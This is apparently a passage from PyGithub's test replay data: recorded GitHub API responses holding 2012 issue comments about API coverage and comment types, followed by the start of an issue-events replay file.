API.","updated_at":"2012-08-25T19:44:03Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/8026699","created_at":"2012-08-25T19:44:03Z","user":{"type":"User","events_url":"https://api.github.com/users/xobb1t/events{/privacy}","received_events_url":"https://api.github.com/users/xobb1t/received_events","gists_url":"https://api.github.com/users/xobb1t/gists{/gist_id}","followers_url":"https://api.github.com/users/xobb1t/followers","following_url":"https://api.github.com/users/xobb1t/following","organizations_url":"https://api.github.com/users/xobb1t/orgs","url":"https://api.github.com/users/xobb1t","gravatar_id":"ae8a2af3de601885a14bb71240e5d1a6","starred_url":"https://api.github.com/users/xobb1t/starred{/owner}{/repo}","login":"xobb1t","avatar_url":"https://secure.gravatar.com/avatar/ae8a2af3de601885a14bb71240e5d1a6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/xobb1t/repos","subscriptions_url":"https://api.github.com/users/xobb1t/subscriptions","id":344095},"id":8026699},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6583381","body":"Wow! Upverter is a very impressive project. I have been designing some PCBs myself and always felt bad about storing them and connecting them to source code of embedded software. I'm looking forward the PCB layout and manufacture feature, it will make Upverter very useful for amateur electronics!\n\nI'm very proud and very happy to be a small part of your project, thank you for letting me know.","updated_at":"2012-09-03T08:39:41Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/8232572","created_at":"2012-09-03T08:39:41Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":8232572},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6454054","body":"Thank you very much for your contribution, I will integrate it this week.\n\n","updated_at":"2012-09-03T08:45:50Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/8232695","created_at":"2012-09-03T08:45:50Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":8232695},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6353712","body":"I've just contacted Github for this issue.","updated_at":"2012-09-03T08:56:13Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/8232940","created_at":"2012-09-03T08:56:13Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":8232940},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6583381","body":"Awesome, great to hear some positive feedback! If you're interested in trying out the alpha version of our PCB layout tool, send me your Upverter account name (alex@upverter.com) and I can upgrade you. We're hoping to have the layout and manufacturing tools rolled out to everyone in the next few weeks.","updated_at":"2012-09-04T17:54:47Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/8272447","created_at":"2012-09-04T17:54:47Z","user":{"type":"User","events_url":"https://api.github.com/users/malexw/events{/privacy}","received_events_url":"https://api.github.com/users/malexw/received_events","gists_url":"https://api.github.com/users/malexw/gists{/gist_id}","followers_url":"https://api.github.com/users/malexw/followers","following_url":"https://api.github.com/users/malexw/following","organizations_url":"https://api.github.com/users/malexw/orgs","url":"https://api.github.com/users/malexw","gravatar_id":"13a30f9924fa2bd918cbb8d06dd8b55a","starred_url":"https://api.github.com/users/malexw/starred{/owner}{/repo}","login":"malexw","avatar_url":"https://secure.gravatar.com/avatar/13a30f9924fa2bd918cbb8d06dd8b55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/malexw/repos","subscriptions_url":"https://api.github.com/users/malexw/subscriptions","id":577322},"id":8272447},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6583381","body":"PM sent.","updated_at":"2012-09-04T20:07:55Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/8276835","created_at":"2012-09-04T20:07:55Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":8276835},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6641076","body":"All the APIs described in http://developer.github.com/v3/repos/contents/ are newer than the last version of PyGithub (or at least, I was not aware of them when I published that version).\n\nI will implement them soon, you can expect them middle of next week.\n\nFor reference, if you don't find an API in https://github.com/PyGithub/PyGithub/blob/master/doc/ReferenceOfApis.md then I've not implemented it yet.","updated_at":"2012-09-04T20:11:58Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/8276985","created_at":"2012-09-04T20:11:37Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":8276985},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6641076","body":"Thanks! I'm looking forward to the next release.\n","updated_at":"2012-09-04T23:38:50Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/8282881","created_at":"2012-09-04T23:38:50Z","user":{"type":"User","events_url":"https://api.github.com/users/berndca/events{/privacy}","received_events_url":"https://api.github.com/users/berndca/received_events","gists_url":"https://api.github.com/users/berndca/gists{/gist_id}","followers_url":"https://api.github.com/users/berndca/followers","following_url":"https://api.github.com/users/berndca/following","organizations_url":"https://api.github.com/users/berndca/orgs","url":"https://api.github.com/users/berndca","gravatar_id":"4a43f97dc0112d95d8d713e2fd2a983b","starred_url":"https://api.github.com/users/berndca/starred{/owner}{/repo}","login":"berndca","avatar_url":"https://secure.gravatar.com/avatar/4a43f97dc0112d95d8d713e2fd2a983b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/berndca/repos","subscriptions_url":"https://api.github.com/users/berndca/subscriptions","id":466654},"id":8282881},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6353712","body":"And here is the reply I received from Github:\n\n From: Wynn Netherland\n Subject: API v3, list comments on pull requests\n\n Hi, Vincent. I know it's confusing but we actually have three types of comments on GitHub, so there are\n three different spots in the API to grab them. Be sure you're looking in the right spot for the data you expect.\n\n Pull Request comments are the top-level comments found on the Pull Request page. These are retrieved via\n the Issues API [1] since PRs are essentially specialized Issues. Pull Request review comments are those made\n against the diff on the PR. You can grab these with the Review Comments API [2]. Finally, line comments made\n outside the context of a PR on a raw commit can be retrieved via the Commit Comments API [3].\n\n Armed with that info, let me know if you're not seeing the data you expect and the API call you're making, and I\n can dig a bit deeper.\n\n [1] http://developer.github.com/v3/issues/comments/\n [2] http://developer.github.com/v3/pulls/comments/\n [3] http://developer.github.com/v3/repos/comments/\n\n Cheers,\n\nSo, this is coherent with what we can see here: https://github.com/PyGithub/PyGithub/pull/57, as `PullRequest.get_comments` uses the Pull Requests API. @nixoz2k7 Is it coherent with your original issue as well?\n\nAnyway, this is misleading, so I will add two methods named `get_issue_comments` (using the Issues API) and `get_review_comments` (synonym for `get_comments`, using the Pull Requests API). Expect this for the middle of next week.","updated_at":"2012-09-05T06:36:26Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/8288983","created_at":"2012-09-05T06:36:26Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":8288983},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6653907","body":"Thank you, I was just going to open an issue for that. No need to hurry because of this, though, I won't need it too soon. :-)","updated_at":"2012-09-05T07:08:11Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/8289525","created_at":"2012-09-05T07:08:11Z","user":{"type":"User","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/bilderbuchi/repos","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":8289525},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6653907","body":"I think I'll do it for the middle of next week","updated_at":"2012-09-05T14:21:16Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/8300374","created_at":"2012-09-05T14:21:16Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":8300374},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6611093","body":"Just published on [PyPi](http://pypi.python.org/pypi/PyGithub).","updated_at":"2012-09-05T17:56:28Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/8307659","created_at":"2012-09-05T17:56:28Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":8307659}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetIssuesEvents.txt0000644000175100001660000025115014756101563025101 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/issues/events {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4923'), ('content-length', '85910'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"7ad8520585258c37864643b4719cbecc"'), ('date', 'Sun, 27 May 2012 07:11:23 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16347480","issue":{"updated_at":"2012-05-27T05:40:15Z","body":"Body created by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":30,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"Issue also created by PyGithub","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-27T05:40:15Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4769659,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/30"},"commit_id":null,"created_at":"2012-05-27T05:40:15Z","event":"assigned","id":16347480,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16347479","issue":{"updated_at":"2012-05-27T05:40:15Z","body":"Body created by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":30,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"Issue also created by PyGithub","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-27T05:40:15Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4769659,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/30"},"commit_id":null,"created_at":"2012-05-27T05:40:15Z","event":"subscribed","id":16347479,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16333959","issue":{"updated_at":"2012-05-26T14:59:33Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/1","number":1,"title":"Version 0.4","due_on":"2012-03-13T07:00:00Z","closed_issues":3,"open_issues":0,"created_at":"2012-03-08T12:22:10Z","state":"closed","description":"","id":93546},"number":28,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-26T14:59:33Z","title":"Issue created by PyGithub","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-19T10:38:23Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4653757,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/28"},"commit_id":null,"created_at":"2012-05-26T14:59:34Z","event":"closed","id":16333959,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16333938","issue":{"updated_at":"2012-05-26T14:59:33Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/1","number":1,"title":"Version 0.4","due_on":"2012-03-13T07:00:00Z","closed_issues":3,"open_issues":0,"created_at":"2012-03-08T12:22:10Z","state":"closed","description":"","id":93546},"number":28,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-26T14:59:33Z","title":"Issue created by PyGithub","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-19T10:38:23Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4653757,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/28"},"commit_id":null,"created_at":"2012-05-26T14:58:27Z","event":"assigned","id":16333938,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16292760","issue":{"updated_at":"2012-05-25T17:32:32Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/29","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/5","number":5,"title":"Version 0.7","due_on":"2012-05-26T07:00:00Z","closed_issues":2,"open_issues":0,"created_at":"2012-05-25T11:47:06Z","state":"closed","description":"","id":124045},"number":29,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-25T17:32:32Z","title":"Publish version 0.7","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"created_at":"2012-05-25T11:47:59Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4752048,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/29"},"commit_id":null,"created_at":"2012-05-25T17:32:32Z","event":"closed","id":16292760,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16292758","issue":{"updated_at":"2012-05-25T17:32:31Z","body":"One would want to use the API without authentication, with login+password, and with OAuth token. Let's cover these use-cases.","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/15","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/5","number":5,"title":"Version 0.7","due_on":"2012-05-26T07:00:00Z","closed_issues":2,"open_issues":0,"created_at":"2012-05-25T11:47:06Z","state":"closed","description":"","id":124045},"number":15,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-25T17:32:31Z","title":"Implement all authentication 